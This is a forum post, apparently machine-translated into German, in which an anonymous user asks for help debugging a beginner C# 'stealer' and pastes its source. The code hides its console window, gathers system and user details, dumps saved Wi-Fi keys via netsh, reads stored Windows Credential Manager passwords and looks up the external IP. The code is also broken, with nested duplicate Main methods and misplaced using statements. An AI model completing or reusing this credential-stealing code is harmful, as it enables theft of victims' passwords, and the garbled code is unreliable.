Debugug für Stealer in C#?C#

Ein Treffpunkt für C#-Programmierer
Anonymous
 Debugug für Stealer in C#?

Post by Anonymous »

Ich habe derzeit an einem Projekt gearbeitet, das in C# auf VS 2022 ein grundlegender Diebstahl von Anfänger ist. Um dies zu programmieren, habe ich einzelne Teile des Codes gemacht und sie debuggen und sie zu einem großen Programm kombiniert, sobald sie alle funktional waren. Ich habe das Ziel -Framework in < /p>
geändert

Code: Select all

"8.0-windows10.0.19041.0"
< /code>
und ich verwende die Erweiterung
sowie die Erweiterung von Webanmeldeinformationen. Manchmal zeigt es in VS "keine Fehler gefunden", aber es läuft nicht. Stattdessen öffnet die Konsolenanwendung ein leeres Terminal mit der Standardeinstellung. "Drücken Sie eine beliebige Taste, um zu schließen".  In anderen Fällen wird es mit Fehlermeldungen angezeigt.// machine name
using System.Diagnostics;
using System.Net.Sockets;
using System.Net;
using System.Security.Principal;
using System.Text.RegularExpressions;
using Microsoft.Win32;

// anti task mgr
using System.Runtime.InteropServices;
using Microsoft.Exchange.WebServices.Data;
static bool IsUserAdministrator()
{
bool isAdmin;
try
{
WindowsIdentity user = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(user);
isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
isAdmin = false;
}
catch (Exception ex)
{
isAdmin = false;
}
return isAdmin;
}
namespace HiddenProcess
{
class Program
{
[DllImport("user32.dll")]
static extern int GetWindowLong(IntPtr hWnd, int nIndex);

[DllImport("user32.dll")]
static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);

[DllImport("user32.dll")]
static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);

const int GWL_STYLE = -16;
const int WS_VISIBLE = 0x10000000;
const int SWP_HIDEWINDOW = 0x0080;

static void Main(string[] args, WebCredentials webCredentials)
{
Process currentProcess = Process.GetCurrentProcess();
IntPtr handle = currentProcess.MainWindowHandle;
int style = GetWindowLong(handle, GWL_STYLE);
SetWindowLong(handle, GWL_STYLE, style & ~WS_VISIBLE);
SetWindowPos(handle, IntPtr.Zero, 0, 0, 0, 0, SWP_HIDEWINDOW);

Console.WriteLine("The process is now hidden from the task manager.");
Console.ReadLine();
// Machine name
Console.WriteLine("Machine Name: " + Environment.MachineName);
// OS Version
Console.WriteLine("Passwords: " + webCredentials.Credentials);
Console.WriteLine("OS Version: " + Environment.OSVersion);
// Processor Count
Console.WriteLine("Processor Count: " + Environment.ProcessorCount);
// System Directory
Console.WriteLine("System Directory: " + Environment.SystemDirectory);
// User Domain Name
Console.WriteLine("User Domain Name: " + Environment.UserDomainName);
// User Interactive
Console.WriteLine("User Interactive: " + Environment.UserInteractive);
// User Name
Console.WriteLine("User Name: " + Environment.UserName);

// Hostname
Console.WriteLine("Current Hostname: " + Environment.MachineName);
// wifipass
Process process = new Process();
process.StartInfo.FileName = "netsh";
process.StartInfo.Arguments = "wlan show profile key=clear";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();

string output = process.StandardOutput.ReadToEnd();
process.WaitForExit();

MatchCollection matches = Regex.Matches(output, @"All User Profile\s+:\s(.*)\r?\n.*Key Content\s+:\s(.*)\r?", RegexOptions.Singleline);
foreach (Match match in matches)
{
string ssid = match.Groups[1].Value;
string password = match.Groups[2].Value;
Console.WriteLine($"SSID: {ssid}, Password: {password}");
}
WindowsIdentity identity = WindowsIdentity.GetCurrent();
Console.WriteLine("User Profile Information:");
Console.WriteLine($"   Name: {identity.Name}");
Console.WriteLine($"   Authentication Type: {identity.AuthenticationType}");
Console.WriteLine($"   Is Authenticated: {identity.IsAuthenticated}");
Console.WriteLine($"   Is Guest: {identity.IsGuest}");
Console.WriteLine($"    Is System: {identity.IsSystem}");
Console.WriteLine();
// read registry key
RegistryKey key = Registry.CurrentUser;

key = key.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");

string value = (string)key.GetValue("SomeExampleApp");

Console.WriteLine($"SomeExampleApp registry value: {value}");
// internal IP address
string internalIp = Dns.GetHostAddresses(Dns.GetHostName())
.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork)
?.ToString();

Console.WriteLine($"Internal IP Address: {internalIp}");
// external IP address
WebClient client = new WebClient();

string externalIpRaw = client.DownloadString("https://ifconfig.me/ip");
string externalIp = Regex.Match(externalIpRaw, @"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}").Value;
Console.WriteLine($"External IP Address: {externalIp}");
using Windows.Security.Credentials;

class Program
{
static void Main()
{
var vault = new PasswordVault();

try
{
// Get credentials from Credential Manager
var credential = vault.Retrieve("example.com", "Your_user_name");

//Get username
string userName = credential.UserName;

// Get password
string password = credential.Password;

Console.WriteLine("username: " + userName);
Console.WriteLine("password: " + password);
}
catch (Exception ex)
{
Console.WriteLine("Unable to get credentials: " + ex.Message);
}
}
}

}
}
}

Quick Reply

Change Text Case: 
   
  • Similar Topics
    Replies
    Views
    Last post